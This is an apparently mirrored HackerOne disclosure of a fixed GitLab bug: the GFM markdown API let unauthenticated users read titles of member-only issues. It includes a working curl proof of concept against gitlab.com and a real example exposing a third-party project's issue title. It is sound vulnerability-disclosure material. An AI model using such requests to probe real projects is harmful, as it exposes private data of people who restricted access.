GFM markdown API discloses issue titles of limited projects
The GFM markdown API allowed unauthenticated users to read issue titles of projects where issue visibility was set to 'Only Project Members'. An attacker could use this to disclose private issue titles.
GitLab
Originally disclosed on GitLab
- Fixed in 3 months
- Disclosed after 3 months
HackerOne report #1450306 by shells3c on 2022-01-15, assigned to @nmalcolm:
Report | How To Reproduce
Report
Summary
GFM markdown API allows unauthenticated users to read issue titles of projects that have permission for issues set to Only Project Members
Steps to reproduce
- Create a project, set
Issuesvisibility toOnly Project Members - Create an issue
- Execute this command (replace
[user]/[project]with your project namespace):
curl -H 'Content-Type: application/json' -d '{"project":"[username]/[project]","text":"See #1","gfm":true}' 'https://gitlab.com/api/v4/markdown'
- The response will disclose the title of issue
#1(attributetitle):
{"html":"\u003cp data-sourcepos=\"1:1-1:6\" dir=\"auto\"\u003eSee \u003ca href=\"https://gitlab.com/[user]/[project]/-/issues/1\" data-original=\"#1\" data-link=\"false\" data-link-reference=\"false\" data-project=\"[Project ID]\" data-issue=\"[Issue ID]\" data-reference-type=\"issue\" data-container=\"body\" data-placement=\"top\" title=\"This is a private issue\" class=\"gfm gfm-issue has-tooltip\"\u003e#1\u003c/a\u003e\u003c/p\u003e"}
Examples
Visit: https://gitlab.com/[REDACTED]/alertmanager/-/issues and you can see that the visibility is restricted. Now execute this command:
curl -H 'Content-Type: application/json' -d '{"project":"[REDACTED]/alertmanager","text":"See #7","gfm":true}' 'https://gitlab.com/api/v4/markdown'
Response:
{"html":"\u003cp data-sourcepos=\"1:1-1:6\" dir=\"auto\"\u003eSee \u003ca href=\"https://gitlab.com/[REDACTED]/alertmanager/-/issues/7\" data-original=\"#7\" data-link=\"false\" data-link-reference=\"false\" data-project=\"25681831\" data-issue=\"100690987\" data-reference-type=\"issue\" data-container=\"body\" data-placement=\"top\" title=\"Internal\" class=\"gfm gfm-issue has-tooltip\"\u003e#7\u003c/a\u003e\u003c/p\u003e"}
As you can see, the title of issue #7 is Internal, you can check other issues if you want
Output of checks
This bug happens on GitLab.com
Impact
Accessing all issue titles of projects have visibility of issues is Only Project Members
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An unauthenticated attacker could read the titles of issues in projects where issue visibility is restricted to project members.
What the attacker needed
No authentication required; Target project has issue visibility set to 'Only Project…; Attacker knows the project path and issue number
How it was found
- Create a project and set Issues visibility to Only Project Members.
- Create an issue in that project.
- Send a request to the markdown API with the project path and text containing an issue reference.
- Observe that the response includes the issue title.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
GitLab has a feature that turns text like '#1' into a link to issue number 1. The API that does this conversion was not checking if the person making the request was allowed to see that issue. So anyone could ask the API to convert a reference and get back the private issue title.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.